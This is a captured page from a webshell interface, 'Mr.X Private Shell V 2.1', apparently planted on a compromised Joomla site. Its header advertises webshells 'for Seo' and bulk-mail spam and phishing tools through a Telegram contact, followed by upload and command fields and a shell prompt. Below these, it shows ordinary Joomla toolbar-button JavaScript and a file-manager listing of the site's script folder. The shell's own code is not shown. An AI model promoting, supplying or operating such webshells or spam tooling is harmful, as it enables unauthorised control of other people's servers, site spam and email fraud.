__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * @copyright  (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

window.customElements.define('joomla-toolbar-button', class extends HTMLElement {
  // Attribute getters
  get task() {
    return this.getAttribute('task');
  }
  get listSelection() {
    return this.hasAttribute('list-selection');
  }
  get form() {
    return this.getAttribute('form');
  }
  get formValidation() {
    return this.hasAttribute('form-validation');
  }
  get confirmMessage() {
    return this.getAttribute('confirm-message');
  }

  /**
   * Lifecycle
   */
  constructor() {
    super();
    if (!Joomla) {
      throw new Error('Joomla API is not properly initiated');
    }
    this.confirmationReceived = false;
    this.onChange = this.onChange.bind(this);
    this.executeTask = this.executeTask.bind(this);
  }

  /**
   * Lifecycle
   */
  connectedCallback() {
    // We need a button to support button behavior,
    // because we cannot currently extend HTMLButtonElement
    this.buttonElement = this.querySelector('button, a');
    this.buttonElement.addEventListener('click', this.executeTask);

    // Check whether we have a form
    const formSelector = this.form || 'adminForm';
    this.formElement = document.getElementById(formSelector);
    this.disabled = false;
    // If list selection is required, set button to disabled by default
    if (this.listSelection) {
      this.setDisabled(true);
    }
    if (this.listSelection) {
      if (!this.formElement) {
        throw new Error(`The form "${formSelector}" is required to perform the task, but the form was not found on the page.`);
      }

      // Watch on list selection
      this.formElement.boxchecked.addEventListener('change', this.onChange);
    }
  }

  /**
   * Lifecycle
   */
  disconnectedCallback() {
    if (this.formElement.boxchecked) {
      this.formElement.boxchecked.removeEventListener('change', this.onChange);
    }
    this.buttonElement.removeEventListener('click', this.executeTask);
  }
  onChange({
    target
  }) {
    // Check whether we have selected something
    this.setDisabled(target.value < 1);
  }
  setDisabled(disabled) {
    // Make sure we have a boolean value
    this.disabled = !!disabled;

    // Switch attribute for native element
    // An anchor does not support "disabled" attribute, so use class
    if (this.buttonElement) {
      if (this.disabled) {
        if (this.buttonElement.nodeName === 'BUTTON') {
          this.buttonElement.disabled = true;
        } else {
          this.buttonElement.classList.add('disabled');
        }
      } else if (this.buttonElement.nodeName === 'BUTTON') {
        this.buttonElement.disabled = false;
      } else {
        this.buttonElement.classList.remove('disabled');
      }
    }
  }
  executeTask() {
    if (this.disabled) {
      return false;
    }

    // Ask for User confirmation when needed
    if (this.confirmMessage && !this.confirmationReceived) {
      // eslint-disable-next-line import/no-unresolved,no-undef
      import('joomla.dialog').then(m => m.default.confirm(this.confirmMessage, Joomla.Text._('WARNING', 'Warning'))).then(confirmed => {
        if (confirmed) {
          // Set confirmation flag, and emulate the click again
          this.confirmationReceived = true;
          this.buttonElement.click();
        }
      });
      return false;
    }

    // Reset any previous confirmation
    this.confirmationReceived = false;
    if (this.task) {
      Joomla.submitbutton(this.task, this.form, this.formValidation);
    }
    return true;
  }
});

Filemanager

Name Type Size Permission Actions
editors Folder 0775
fields Folder 0775
core.js File 25.96 KB 0664
core.min.js File 7.58 KB 0664
core.min.js.gz File 3.14 KB 0664
draggable.js File 5.66 KB 0664
draggable.min.js File 2.54 KB 0664
draggable.min.js.gz File 1.05 KB 0664
highlight.js File 61.61 KB 0664
highlight.min.js File 15.58 KB 0664
highlight.min.js.gz File 5.44 KB 0664
inlinehelp.js File 2.18 KB 0664
inlinehelp.min.js File 805 B 0664
inlinehelp.min.js.gz File 486 B 0664
joomla-core-loader.js File 4.91 KB 0664
joomla-core-loader.min.js File 4.02 KB 0664
joomla-core-loader.min.js.gz File 1.66 KB 0664
joomla-dialog-autocreate.js File 2.9 KB 0664
joomla-dialog-autocreate.min.js File 1.22 KB 0664
joomla-dialog-autocreate.min.js.gz File 664 B 0664
joomla-dialog.js File 17.7 KB 0664
joomla-dialog.min.js File 8.29 KB 0664
joomla-dialog.min.js.gz File 2.43 KB 0664
joomla-hidden-mail.js File 2.26 KB 0664
joomla-hidden-mail.min.js File 1.53 KB 0664
joomla-hidden-mail.min.js.gz File 721 B 0664
joomla-toolbar-button.js File 3.56 KB 0664
joomla-toolbar-button.min.js File 2.08 KB 0664
joomla-toolbar-button.min.js.gz File 868 B 0664
keepalive.js File 1 KB 0664
keepalive.min.js File 741 B 0664
keepalive.min.js.gz File 430 B 0664
list-view.js File 2.75 KB 0664
list-view.min.js File 1.59 KB 0664
list-view.min.js.gz File 555 B 0664
messages.js File 10.19 KB 0664
messages.min.js File 5.41 KB 0664
messages.min.js.gz File 1.77 KB 0664
modal-content-select.js File 1.14 KB 0664
modal-content-select.min.js File 781 B 0664
modal-content-select.min.js.gz File 497 B 0664
multiselect.js File 3.77 KB 0664
multiselect.min.js File 1.86 KB 0664
multiselect.min.js.gz File 917 B 0664
searchtools.js File 18.69 KB 0664
searchtools.min.js File 10.4 KB 0664
searchtools.min.js.gz File 2.56 KB 0664
showon.js File 9.91 KB 0664
showon.min.js File 3.55 KB 0664
showon.min.js.gz File 1.39 KB 0664
table-columns.js File 6 KB 0664
table-columns.min.js File 3.39 KB 0664
table-columns.min.js.gz File 1.28 KB 0664
treeselectmenu.js File 5.74 KB 0664
treeselectmenu.min.js File 4.07 KB 0664
treeselectmenu.min.js.gz File 976 B 0664
Filemanager